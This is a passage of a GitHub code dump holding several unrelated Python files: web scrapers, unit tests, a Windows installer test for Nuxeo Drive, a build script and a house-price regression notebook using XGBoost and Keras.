get_engine()\n\n meta = MetaData()\n meta.drop_all(bind=engine, tables=[urls, keywords])\n\n\n\nif __name__ == '__main__':\n #teardown_db()\n #setup_db()\n create_tables()\n","repo_name":"KushnerykPavel/dev_challange_2019","sub_path":"devchallenge/db_helpers.py","file_name":"db_helpers.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19373827301","text":"import ast\nimport tkinter\n\nfrom . import commandui\n\nfrom goat.staticvisual import StaticVisual\n\nclass VisualiseCommand(commandui.Command):\n \"\"\"Visualise the state of the program from the console.\"\"\"\n\n def __init__(self, parsecmd, explorecmd):\n commandui.Command.__init__(self, \"visualise\")\n\n self._related_parsecmd = parsecmd\n self._related_explorecmd = explorecmd\n\n def run(self, args):\n \"\"\"Pop up our GUI.\"\"\"\n\n self._related_explorecmd._ensure_node_sync()\n\n root = tkinter.Tk()\n root.title(\"OAT Visualiser <\" + str(self._related_parsecmd.ast) + \">\")\n root.grid_columnconfigure(0, weight=1)\n root.grid_rowconfigure(0, weight=1)\n StaticVisual(root,\n fulltree=self._related_explorecmd.ast_top,\n currenttree=self._related_explorecmd.ast_current\n ).grid(sticky=\"nsew\")\n\n print(\"OAT Visualisation is being displayed.\")\n print(\"To return to the command console, please quit the \"\n \"visualisation from its own window.\")\n\n root.mainloop()\n try:\n root.destroy()\n except tkinter.TclError:\n pass # Probably already destroyed by closing from window.\n","repo_name":"andyrooger/OAT","sub_path":"src/interactive/visualisecmd.py","file_name":"visualisecmd.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"6208270422","text":"# pylint: disable-all\nfrom word_generator import solve_for_stationary_prob, build_trans_matrices, get_words\n\n\nINPUT = \"\"\"\ncats cats cats cats cats cats dogs dogs dogs parrots\n\"\"\"\n\nexpected = { 'cats': 0.6, 'dogs': 0.3, 'parrots': 0.1 }\n\ntop_level_total_iter = 1000\ntotal_iter = 1000\nerror = .01\nunique_data, parameters = solve_for_stationary_prob(top_level_total_iter, total_iter, INPUT)\n\nfor i in range(len(parameters)):\n parameter = parameters[i]\n assert abs(expected[unique_data[i]] - parameter) <= error, \"parameter should be within expected error\"\n\n\ndef test_build_trans_matrices(actual, expected):\n for i in range(len(actual)):\n for j in range(len(actual[i])):\n for k in range(len(actual[i][j])):\n assert abs(expected[i][j][k] - actual[i][j][k]) <= error, \"actual should equal expected within certain error\"\ntrans_hash_1 = { 'cats cats': 6.0, 'cats dogs': 1.0, 'cats parrots': 0.0, 'dogs dogs': 2.0, 'dogs cats': 0.0, 'dogs parrots': 1.0, 'parrots parrots': 0.0, 'parrots dogs': 0.0, 'parrots cats': 0.0 }\ntrans_hash_2 = { 'cats cats': 4.0, 'cats dogs': 2.0, 'cats parrots': 0.0, 'dogs dogs': 1.0, 'dogs cats': 0.0, 'dogs parrots': 1.0, 'parrots parrots': 0.0, 'parrots dogs': 0.0, 'parrots cats': 0.0 }\nword_location_hash, unique_words, trans_matrices = build_trans_matrices(get_words(INPUT), 2)\ntrans_matrix_1\n\n\nexpected = [word for word in unique_words]\ntest_build_trans_matrices(trans_matrices, expected)\n","repo_name":"niole/trump-talk","sub_path":"unit_test.py","file_name":"unit_test.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3276525672","text":"from nose.tools import assert_equal\nfrom mock import Mock\n\nfrom zarkov.zmr import job\n\ndef test_basicjob():\n j = job.BasicJob(None, None, None, None, [], {})\n\ndef test_basicjob_fromrequest_run():\n router = Mock()\n router.job_manager.return_value = [('header', 'content'), ('h2','c2')]\n req = {'$command': 'basic',\n 'func_text': 'asdfasdf',\n 'func_name': 'blah',\n 'args': [],\n 'kwargs': {},\n }\n j = job.Job.from_request(router, req)\n assert_equal(type(j), job.BasicJob)\n\n j.run()\n assert_equal(j.status['state'], 'complete')\n\ndef test_basicjob_fromrequest_error_retire():\n router = Mock()\n router.job_manager.side_effect = Exception('explode!')\n req = {'$command': 'basic',\n 'func_text': 'asdfasdf',\n 'func_name': 'blah',\n 'args': [],\n 'kwargs': {},\n }\n j = job.Job.from_request(router, req)\n assert_equal(type(j), job.BasicJob)\n\n j.run()\n assert_equal(j.status['state'], 'error')\n\n\ndef test_mrjob_fromrequest_run():\n router = Mock()\n router.options.zmr = {\n 'job_root': '/tmp/zmr-unittest-dir',\n 'map_chunk_size': 4,\n 'map_chunks_per_page': 2,\n }\n req = {'$command': 'mapreduce',\n 'func_text': 'asdfasdf',\n 'func_name': 'blah',\n 'args': [],\n 'kwargs': {},\n }\n j = job.Job.from_request(router, req)\n assert_equal(type(j), job.MRJob)\n\n j.run() # it errors because we don't mock enough\n assert_equal(j.status['state'], 'error')\n\n","repo_name":"joeywen/zarkov","sub_path":"zarkov/tests/test_zmr_job.py","file_name":"test_zmr_job.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35950207085","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 29 14:01:52 2022\n\n@author: user\n\"\"\"\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport jieba\nfrom jieba.analyse import extract_tags\nfrom wordcloud import WordCloud\nimport matplotlib.pyplot as plt\n\n# headers\nheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36'}\n# 容器(裝取標題、網址)\nd =[]\n# 網址(ptt婚姻版)\nurl = \"https://www.ptt.cc/bbs/marriage/index2839.html\"\n# 發送請求\nweb = requests.get(url,headers=headers)\n# 解析\nsoup = BeautifulSoup(web.text,\"lxml\")\n# 找出欲搜尋的區塊\nblock = soup.find_all(\"div\",class_=\"r-ent\")\n# 利用迴圈在區塊中找出標題、網址\nfor row in block:\n d.append({\"title\":row.find(\"div\",class_=\"title\").text,\n \"url\":\"https://www.ptt.cc/\"+row.find(\"a\")[\"href\"]})\n\n# 利用迴圈再剛爬出的網址裡爬取留言內容\nfor c in d:\n # 發送請求\n w = requests.get(c[\"url\"],headers=headers)\n # 跳過掛掉的網頁\n if w.status_code == 404:\n d.remove(c)\n else:\n # 解析\n s = BeautifulSoup(w.text,\"lxml\")\n # 新增容器放留言內容\n content=[]\n # ��用迴圈搜尋每則留言區塊並找出內容\n for i in s.find_all('div', class_='push'):\n # 沒有留言就跳過\n if not i.find(\"span\",class_=\"f1 hl push-tag\"):\n continue\n # 存入留言內容並去除標點符號\n content.append(i.find(\"span\",class_=\"f3 push-content\").text.replace(\": \",\"\"))\n # 將content加入最初的容器裡\n c[\"content\"] = content\n \n# 轉dataframe\ndf = pd.DataFrame(d)\n# 另存csv檔\ndf.to_csv(\"crawl_mg.csv\",encoding=\"utf-8\",index=False)\n\n# 製作文字雲\n# 設定分析所需的斷字字典\njieba.set_dictionary('dict.txt.big.txt')\n\nfor i in d[1:6:2]:\n # 找出留言內容,並添加空格(jieba才可以進行分析) \n content_list = \" \".join(i['content'])\n # 提取關鍵字(設定100個關鍵字)\n kw = extract_tags(content_list, topK=100, withWeight=True, allowPOS=(),withFlag=True)\n # 新增容器裝取分析完的詞\n kw_d={}\n # 利用迴圈把分析完的詞裝進容器\n for j in range(len(kw)):\n kw_d[kw[j][0]]=kw[j][1]\n \n # 做成文字雲\n wd = WordCloud(width=1280, # 圖的寬度\n height=720, # 圖的長度\n background_color=\"#5E4B3E\", # 背景顏色\n colormap=\"Dark2\",\n font_path=r'C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Fonts\\NotoSansTC-Regular.otf' # 字型\n ).fit_words(kw_d)\n # 用plt顯示\n plt.rcParams[\"font.family\"] = \"Microsoft JhengHei\"\n plt.figure(figsize=(8, 6),dpi = 100)\n plt.imshow(wd, interpolation=\"bilinear\")\n plt.title(i[\"title\"]+i[\"url\"])\n plt.axis(\"off\")\n plt.show()","repo_name":"hanana501/Crawler-Marriage","sub_path":"crawl_marriage.py","file_name":"crawl_marriage.py","file_ext":"py","file_size_in_byte":2921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19709410094","text":"import scraper \nimport csv\n\n''' \nRotten Tomatoes web scraper\nCreated by Damian Diaz - https://github.com/damiandiaz212\nLast modified (8/21/2018)\n\nSee readme for instructions & details.\n\n'''\n\n# If you want results outputted to terminal\ndebug = True\n\ninfile = open(\"movie_urls.txt\",\"r\")\noutfile = open('data.csv', 'w')\n\nlines = infile.readlines()\nlabels = [['movie_name', 'release_date', 'tomato_score', 'audience_score', 'rating', \n'genre', 'directors', 'writers', 'box_office', 'runtime', 'studio', 'cast', 'characters']]\n\nwriter = csv.writer(outfile)\nwriter.writerows(labels)\n\nfor line in lines:\n\twriter.writerows(scraper.scrape_movie(line, debug))\n\nprint('Done')","repo_name":"damiandiaz212/rottentomatoes_webscraper","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"18554523241","text":"instr = [\n \"\"\"Matrix reasoning\n\nOn each trial you will see a picture with a piece missing\nfrom it. Your task is to touch the missing piece from the\nfive choices that appear at the bottom of the screen.\nThere is only one correct choice per picture. If you think\nthat more than one answer is correct, touch the one you\nthink fits best.\n\nThis test uses the touchscreen.\n\nTouch the button below to begin.\"\"\",\n]\n","repo_name":"sammosummo/Charlie2","sub_path":"charlie2/instructions/en/matrixreasoning.py","file_name":"matrixreasoning.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"41665628559","text":"########################################################################################\r\n# All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or\r\n# its licensors.\r\n#\r\n# For complete copyright and license terms please see the LICENSE at the root of this\r\n# distribution (the \"License\"). All use of this software is governed by the License,\r\n# or, if provided, by the license below or the license accompanying this file. Do not\r\n# remove or modify any license notices. This file is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n#\r\n########################################################################################\r\n\r\nSUBFOLDERS = [\r\n 'EditorPlugin'\r\n ]\r\n\r\ndef build(bld):\r\n\r\n bld.DefineGem(\r\n use = [ 'AzCore', 'AzToolsFramework' ],\r\n includes = [ bld.Path('Code/CryEngine/CryAction')],\r\n file_list = ['Substance.waf_files'],\r\n\r\n # This is necessary for Orbis because there is an indirect reference (via CryCommon\\ImageExtensionHelper.h) to a RenderDll internal header\r\n \r\n\r\n # Substance is only supported on windows\r\n win_uselib = ['SUBSTANCE'],\r\n\r\n libpath = [bld.Path('Gems/SubstanceNG/Code/Libs/Win64')],\r\n lib = ['pfxlinkercommon','algcompression','tinyxml','substance_linker_static', 'substance_sse2_blend_static','substance_framework'],\r\n # could also add: 'substance_d3d11pc_blend_static' as engine ?\r\n\r\n disable_tests = not 'win' in bld.env['PLATFORM'],\r\n )\r\n\r\n bld.recurse(SUBFOLDERS)\r\n","repo_name":"roche-emmanuel/LYSubstanceNG","sub_path":"Code/wscript","file_name":"wscript","file_ext":"","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"18004237842","text":"import os\nimport subprocess\nfrom glob import glob\nfrom logging import getLogger\n\nimport pytest\n\nfrom nxdrive.constants import WINDOWS\n\nfrom ... import env\n\nif not WINDOWS:\n pytestmark = pytest.mark.skip\n\nlog = getLogger(__name__)\n\n\nclass Installer:\n launcher = \"\"\n uninstaller = \"\"\n\n def __init__(self, path, *install_opt):\n self.path = path\n self.install_opt = [\"/verysilent\"] + list(install_opt)\n log.info(\"Installer path is %r\", self.path)\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.uninstall()\n\n def install(self, *install_opt):\n log.info(\"Installing, calling %r %s\", self.path, \" \".join(install_opt))\n subprocess.Popen([self.path] + list(install_opt))\n self.launcher = \"\"\n self.uninstaller = \"\"\n\n def uninstall(self):\n if not getattr(self, \"uninstaller\", None):\n return\n\n log.info(\"Uninstallation, calling %r /verysilent\", self.uninstaller)\n subprocess.Popen([self.uninstaller, \"/verysilent\"])\n\n\n@pytest.fixture()\ndef installer_path():\n \"\"\"Generate a fresh installer.\"\"\"\n cmd = [\"powershell\", \".\\\\tools\\\\windows\\\\deploy_ci_agent.ps1\", \"-build\"]\n log.info(\"Building the installer: %r\", cmd)\n subprocess.Popen(cmd)\n path = glob(\"dist\\\\nuxeo-drive-*.exe\")[0]\n yield path\n os.remove(path)\n\n\ndef test_installer_arguments(installer_path):\n \"\"\"\n Test arguments the installer can manage:\n\n - Mandatory arguments\n TARGETURL: The URL of the Nuxeo server.\n TARGETUSERNAME: The username of the user who will be using Nuxeo Drive.\n - Optional arguments\n TARGETPASSWORD: The password of the user who will be using Nuxeo Drive.\n\n Arguments __not__ tested:\n TARGETDRIVEFOLDER: The path to the user synchronisation folder that will be created.\n START=auto: Start Nuxeo Drive after the installation.\n \"\"\"\n with Installer(installer_path) as installer:\n args = [\n f'/TARGETURL=\"{env.NXDRIVE_TEST_NUXEO_URL}\"',\n f'/TARGETUSERNAME=\"{env.NXDRIVE_TEST_USERNAME}\"',\n f'/TARGETPASSWORD=\"{env.NXDRIVE_TEST_PASSWORD}\"',\n ]\n installer.install(args)\n","repo_name":"nuxeo/nuxeo-drive","sub_path":"tests/integration/windows/_test_installer.py","file_name":"_test_installer.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"31"} +{"seq_id":"19199765472","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[54]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport warnings\nimport xgboost as xgb\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_absolute_error, mean_squared_error\nwarnings.filterwarnings('ignore')\nplt.style.use('ggplot')\n\n\n# In[55]:\n\n\n# Read data from current directory\ndf = pd.read_csv('./train.csv')\n#test = pd.read_csv('./test.csv')\n\n\n# In[56]:\n\n\n# show data\ndf\n\n\n# In[57]:\n\n\n# Check the missing values and drop columns which have missing values more than 70%\ndf.isnull().sum().sort_values(ascending=False)[0:33],sns.heatmap(df.isnull(),yticklabels=False, cmap='plasma')\n\n\n# In[58]:\n\n\n# Not much information\ndf.Utilities.value_counts(dropna=False)\n\n\n# In[59]:\n\n\n# Drop the missing values in these columns\nlist1 = ['Alley','Utilities', 'PoolQC', 'Fence', 'MiscFeature']\nfor item in list1:\n df.drop(columns=item, inplace=True)\n\n\n# In[60]:\n\n\n# Get the list of object and numerical type column\ndef get_object_cols(df):\n return list(df.select_dtypes(include='object').columns)\n\ndef get_numerical_cols(df):\n return list(df.select_dtypes(exclude='object').columns)\n\n\n# In[61]:\n\n\n# list the object type column\nobject_cols_train = get_object_cols(df)\nobject_cols_train, len(object_cols_train)\n\n\n# In[62]:\n\n\n## mapping object type to numerical\n## selecting columns for mapping dict\n\ndict={'Y' : 1, 'N' : 2, 'Ex': 1, 'Gd' : 2, 'TA' :3, 'Fa' : 4, 'Po' : 5, \n 'GLQ' : 1, 'ALQ' : 2, 'BLQ' : 3, 'Rec' : 4, 'LwQ' : 5, 'Unf' : 6, 'NA' :7,\n 'Gd' : 1 , 'Av' :2, 'Mn' : 3, 'No' :4, 'Gtl' : 1, 'Mod' : 2, 'Sev' :3,\n 'Reg' : 1, 'IR1' :2, 'IR2' :3, 'IR3' :4}\n\n\n# 'RL':1, 'RM':2,'FV':3,'RH':4,'C (all)':5, 'Pave':1, 'Grvl':2,'Lvl':1,'Bnk':1,'HLS':2,'Low':3,'Inside':1, 'Corner':2,'CulDSac':3,\n# 'FR2':4, 'FR3':5, 'Y':1, 'N':2, 'P':3,'Norm':1, 'Feedr':2, 'PosN':3, 'Artery':4, 'RRAe':5, 'RRNn':6, 'RRAn':7, 'PosA':8,'RRNe':9 \ncols=['KitchenQual','LotShape','LandSlope','HeatingQC','FireplaceQu','ExterQual','ExterCond','BsmtQual',\n 'BsmtFinType2','BsmtFinType1','BsmtExposure','BsmtCond','CentralAir']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[63]:\n\n\ndict = {'RL' :1, 'RM' :2,'FV':3,'RH' :4,'C (all)' :5, 'Pave' :1, 'Grvl' :2,\n 'Lvl' :1,'Bnk' :1,'HLS':2,'Low' :3,'Inside' :1, 'Corner' :2,'CulDSac' :3,\n 'FR2' :4, 'FR3' :5, 'Y':1, 'N' :2, 'P':3,'Norm' :1, 'Feedr' :2, 'PosN' :3, 'Artery' :4,\n 'RRAe' :5, 'RRNn' :6, 'RRAn' :7, 'PosA':8,'RRNe' :9, 'TA': 1, 'Fa':2, 'Gd':3, 'Po':4, 'Ex':5}\ncols=['Street','GarageQual','MSZoning', 'LandContour', 'Condition1', 'Condition2', 'GarageCond']\n# \nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[64]:\n\n\ndf\n\n\n# In[65]:\n\n\ndf.info()\n\n\n# In[66]:\n\n\n# obtain object type column and numerical\nobject_cols_train = get_object_cols(df)\n# train numerical cols\nnumerical_cols_train = get_numerical_cols(df)\n\n\n# In[67]:\n\n\nobject_cols_train,len(object_cols_train)\n\n\n# In[68]:\n\n\ndf.Neighborhood.value_counts(dropna=False)\n\n\n# In[69]:\n\n\n#Create the dictionary to map the label for each column\ndf.Neighborhood.unique()\n\ndict = {'CollgCr':1, 'Veenker':2, 'Crawfor':3, 'NoRidge':4, 'Mitchel':5, 'Somerst':6,\n 'NWAmes':7, 'OldTown':8, 'BrkSide':9, 'Sawyer':10, 'NridgHt':11, 'NAmes':12,\n 'SawyerW':13, 'IDOTRR':14, 'MeadowV':15, 'Edwards':16, 'Timber':17, 'Gilbert':18,\n 'StoneBr':19, 'ClearCr':20, 'NPkVill':21, 'Blmngtn':22, 'BrDale':23, 'SWISU':24,\n 'Blueste':25}\n\ncols=['Neighborhood']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[70]:\n\n\ndf.LotConfig.unique()\ndict={'Inside':1, 'FR2':2, 'Corner':3, 'CulDSac':4, 'FR3':5}\ncols=['LotConfig']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[71]:\n\n\ndf.BldgType.unique()\ndict={'1Fam':1, '2fmCon':2, 'Duplex':3, 'TwnhsE':4, 'Twnhs':5}\ncols=['BldgType']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[72]:\n\n\ndf.HouseStyle.unique()\ndict={'2Story':1, '1Story':2, '1.5Fin':3, '1.5Unf':4, 'SFoyer':5, 'SLvl':6, '2.5Unf':7,\n '2.5Fin':8}\ncols=['HouseStyle']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[73]:\n\n\ndf.RoofStyle.unique()\ndict={'Gable':1, 'Hip':2, 'Gambrel':3, 'Mansard':4, 'Flat':5, 'Shed':6}\ncols=['RoofStyle']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[74]:\n\n\ndf.RoofMatl.unique()\ndict={'CompShg':1, 'WdShngl':2, 'Metal':3, 'WdShake':4, 'Membran':5, 'Tar&Grv':6,\n 'Roll':7, 'ClyTile':8}\ncols=['RoofMatl']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[75]:\n\n\ndf.Exterior1st.unique()\ndict={'VinylSd':1, 'MetalSd':2, 'Wd Sdng':3, 'HdBoard':4, 'BrkFace':5, 'WdShing':6,\n 'CemntBd':7, 'Plywood':8, 'AsbShng':9, 'Stucco':10, 'BrkComm':11, 'AsphShn':12,\n 'Stone':13, 'ImStucc':14, 'CBlock':15}\ncols=['Exterior1st']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[76]:\n\n\ndf.Exterior2nd.unique()\ndict={'VinylSd':1, 'MetalSd':2, 'Wd Shng':3, 'HdBoard':4, 'Plywood':5, 'Wd Sdng':6,\n 'CmentBd':7, 'BrkFace':8, 'Stucco':9, 'AsbShng':10, 'Brk Cmn':11, 'ImStucc':12,\n 'AsphShn':13, 'Stone':14, 'Other':15, 'CBlock':16}\ncols=['Exterior2nd']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[77]:\n\n\ndf.MasVnrType.unique()\ndict={'BrkFace':1, 'None':2, 'Stone':3, 'BrkCmn':4}\ncols=['MasVnrType']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[78]:\n\n\ndf.Foundation.unique()\ndict={'PConc':1, 'CBlock':2, 'BrkTil':3, 'Wood':4, 'Slab':5, 'Stone':6}\ncols=['Foundation']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[79]:\n\n\ndf.Heating.unique()\ndict={'GasA':1, 'GasW':2, 'Grav':3, 'Wall':4, 'OthW':5, 'Floor':6}\ncols=['Heating']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[80]:\n\n\ndf.Electrical.unique()\ndict={'SBrkr':1, 'FuseF':2, 'FuseA':3, 'FuseP':4, 'Mix':5}\ncols=['Electrical']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[81]:\n\n\ndf.Functional.unique()\ndict={'Typ':1, 'Min1':2, 'Maj1':3, 'Min2':4, 'Mod':5, 'Maj2':6, 'Sev':7}\ncols=['Functional']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[82]:\n\n\ndf.GarageType.unique()\ndict={'Attchd':1, 'Detchd':2, 'BuiltIn':3, 'CarPort':4, 'Basment':5, '2Types':6}\ncols=['GarageType']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[83]:\n\n\ndf.GarageFinish.unique()\ndict={'RFn':1, 'Unf':2, 'Fin':3}\ncols=['GarageFinish']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[84]:\n\n\ndf.PavedDrive.unique()\ndict={'Y':1, 'N':2, 'P':3}\ncols=['PavedDrive']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[85]:\n\n\ndf.SaleType.unique()\ndict={'WD':1, 'New':2, 'COD':3, 'ConLD':4, 'ConLI':5, 'CWD':6, 'ConLw':7, 'Con':8, 'Oth':9}\ncols=['SaleType']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[86]:\n\n\ndf.SaleCondition.unique()\ndict={'Normal':1, 'Abnorml':2, 'Partial':3, 'AdjLand':4, 'Alloca':5, 'Family':6}\ncols=['SaleCondition']\nfor i in cols:\n df[i]=df[i].map(dict)\n\n\n# In[87]:\n\n\n# obtain object type column and numerical\nobject_cols_train = get_object_cols(df)\nobject_cols_train\n\n\n# In[88]:\n\n\ndf.FireplaceQu.value_counts(dropna=False)\n\n\n# In[89]:\n\n\ndf.isnull().sum().sort_values(ascending=False)\n\n\n# In[90]:\n\n\n# Set NaN to mean\nfor item in df.columns:\n df[item].fillna((df[item].mean()), inplace=True)\n\n\n# In[91]:\n\n\n# Create x and y for training a model not including object column\nX=df.drop(['SalePrice'],axis=1)\nY=df['SalePrice']\n#for item in object_cols_train:\n #X.drop(columns=item, inplace=True)\n\n\n# In[92]:\n\n\nX\n\n\n# In[93]:\n\n\n# split data to train and test as 80% and 20%\nxtrain, xtest, ytrain, ytest = train_test_split(X, Y, test_size=0.20, random_state=42)\n\n\n# Create a model\n\nxgbr = xgb.XGBRegressor(verbosity=0) \nprint(xgbr)\n\n\n# In[94]:\n\n\nxgbr.fit(xtrain, ytrain)\n\n\n# In[95]:\n\n\nscore = xgbr.score(xtrain, ytrain)\n\n\n# In[96]:\n\n\nprint(\"Training score: \", score)\n\n\n# In[97]:\n\n\nfrom sklearn.model_selection import cross_val_score\nscores = cross_val_score(xgbr, xtrain, ytrain,cv=10)\nprint(\"Mean cross-validation score: %.2f\" % scores.mean())\n\n\n# In[98]:\n\n\n# Predict output\ny_pred=xgbr.predict(xtest)\ny_pred\n\n\n# In[99]:\n\n\nytest\n\n\n# In[100]:\n\n\nytest-y_pred\n\n\n# In[101]:\n\n\nfrom sklearn.metrics import mean_absolute_error\nvytest= ytest.to_numpy()\nprint(\"Mean Absolute Error:\", mean_absolute_error(vytest, y_pred))\nprint(\"Mean Squared Error:\", mean_squared_error(vytest, y_pred))\nprint(\"Root Mean Squared Error:\", np.sqrt(mean_squared_error(vytest, y_pred)) )\n\n\n# In[102]:\n\n\n# Compare actual and predicted values\n\nfig, axs = plt.subplots(3)\naxs[0].set_title('Actual value')\naxs[0].plot(vytest)\naxs[1].set_title('Predicted value')\naxs[1].plot(y_pred)\naxs[2].set_title('Compared values')\naxs[2].plot(vytest)\naxs[2].plot(y_pred)\nfor ax in axs.flat:\n ax.label_outer()\n\n\n# In[103]:\n\n\n# XGB with regularization\nreg_xgb = xgb.XGBRegressor(colsample_bytree=0.45, gamma=0.045, \n learning_rate=0.05, max_depth=3, \n min_child_weight=1.8, n_estimators=2200,\n reg_alpha=0.45, reg_lambda=0.85,\n subsample=0.52, silent=1,\n random_state =6, nthread = -1,verbosity=0)\nprint(reg_xgb)\n\n\n# In[104]:\n\n\n\nreg_xgb.fit(xtrain, ytrain)\n\n\n# In[53]:\n\n\nscore = reg_xgb.score(xtrain, ytrain)\nprint(\"Training score: \", score)\n\n\n# In[54]:\n\n\nscores = cross_val_score(reg_xgb, xtrain, ytrain,cv=10)\nprint(\"Mean cross-validation score: %.2f\" % scores.mean())\n\n\n# In[55]:\n\n\nmean = mean_absolute_error(vytest, y_pred)\nmean\n\n\n# In[106]:\n\n\n# Predict output\ny_pred=reg_xgb.predict(xtest)\ny_pred\n\n\n# In[107]:\n\n\nytest\n\n\n# In[108]:\n\n\nytest-y_pred\n\n\n# In[109]:\n\n\nvytest= ytest.to_numpy()\nprint(\"Mean Absolute Error:\", mean_absolute_error(vytest, y_pred))\nprint(\"Mean Squared Error:\", mean_squared_error(vytest, y_pred))\nprint(\"Root Mean Squared Error:\", np.sqrt(mean_squared_error(vytest, y_pred)) )\n\n\n# In[60]:\n\n\n# Compare actual and predicted values\nfig, axs = plt.subplots(3)\naxs[0].set_title('Actual value')\naxs[0].plot(vytest)\naxs[1].set_title('Predicted value')\naxs[1].plot(y_pred)\naxs[2].set_title('Compared values')\naxs[2].plot(vytest)\naxs[2].plot(y_pred)\nfor ax in axs.flat:\n ax.label_outer()\n\n\n# In[41]:\n\n\nvxtrain= xtrain.to_numpy()\nvytrain= ytrain.to_numpy()\nvxtest= xtest.to_numpy()\nvytest= ytest.to_numpy()\nvxtrain.shape,vytrain.shape\n\n\n# In[62]:\n\n\n# Create deep learning model\nfrom keras.models import Sequential\nfrom keras.layers import Dense , Dropout\nfrom keras.layers import LSTM\nNN_model = Sequential()\n\n# The Input Layer :\nNN_model.add(Dense(32, kernel_initializer='normal',input_dim = vxtrain.shape[1], activation='relu'))\n\n# The Hidden Layers :\nNN_model.add(Dense(32, kernel_initializer='normal',activation='relu'))\nNN_model.add(Dropout(0.1))\nNN_model.add(Dense(32, kernel_initializer='normal',activation='relu'))\nNN_model.add(Dropout(0.1))\nNN_model.add(Dense(32, kernel_initializer='normal',activation='relu'))\nNN_model.add(Dropout(0.1))\n# The Output Layer :\nNN_model.add(Dense(1, kernel_initializer='normal',activation='linear'))\n\n# Compile the network :\nNN_model.compile(loss='mean_absolute_error', optimizer='adam', metrics=['mean_absolute_error'])\nNN_model.summary()\n\n\n# In[54]:\n\n\nfrom keras.callbacks import ModelCheckpoint\n# Create Checkpoint to save the improved weight to computer with .hdf5\ncheckpoint_name = 'Weights-{epoch:03d}--{val_loss:.5f}.hdf5' \ncheckpoint = ModelCheckpoint(checkpoint_name, monitor='val_loss', verbose = 1, save_best_only = True, mode ='auto')\ncallbacks_list = [checkpoint]\n\n\n# In[64]:\n\n\nNN_model.fit(vxtrain, vytrain, epochs=1500, batch_size=5, validation_split = 0.2, callbacks=callbacks_list)\n\n\n# In[65]:\n\n\ny_pred=NN_model.predict(xtest)\nvytest= ytest.to_numpy()\nprint(\"Mean Absolute Error:\", mean_absolute_error(vytest, y_pred))\nprint(\"Mean Squared Error:\", mean_squared_error(vytest, y_pred))\nprint(\"Root Mean Squared Error:\", np.sqrt(mean_squared_error(vytest, y_pred)) )\n\n\n# In[66]:\n\n\nfig, axs = plt.subplots(3)\naxs[0].set_title('Actual value')\naxs[0].plot(vytest)\naxs[1].set_title('Predicted value')\naxs[1].plot(y_pred)\naxs[2].set_title('Compared values')\naxs[2].plot(vytest)\naxs[2].plot(y_pred)\nfor ax in axs.flat:\n ax.label_outer()\n\n\n# In[52]:\n\n\nNmodel = Sequential()\n\n# The Input Layer :\nNmodel.add(Dense(32, kernel_initializer='normal',input_dim = vxtrain.shape[1], activation='relu'))\n\n# The Hidden Layers :\nNmodel.add(Dense(16, kernel_initializer='normal',activation='relu'))\n# The Output Layer :\nNmodel.add(Dense(1, kernel_initializer='normal',activation='linear'))\n\n# Compile the network :\nNmodel.compile(loss='mean_absolute_error', optimizer='adam', metrics=['mean_absolute_error'])\nNmodel.summary()\n\n\n# In[55]:\n\n\nNmodel.fit(vxtrain, vytrain, epochs=1500, batch_size=5, validation_split = 0.2, callbacks=callbacks_list)\n\n\n# In[56]:\n\n\ny_pred=Nmodel.predict(vxtest)\nvytest= ytest.to_numpy()\nprint(\"Mean Absolute Error:\", mean_absolute_error(vytest, y_pred))\nprint(\"Mean Squared 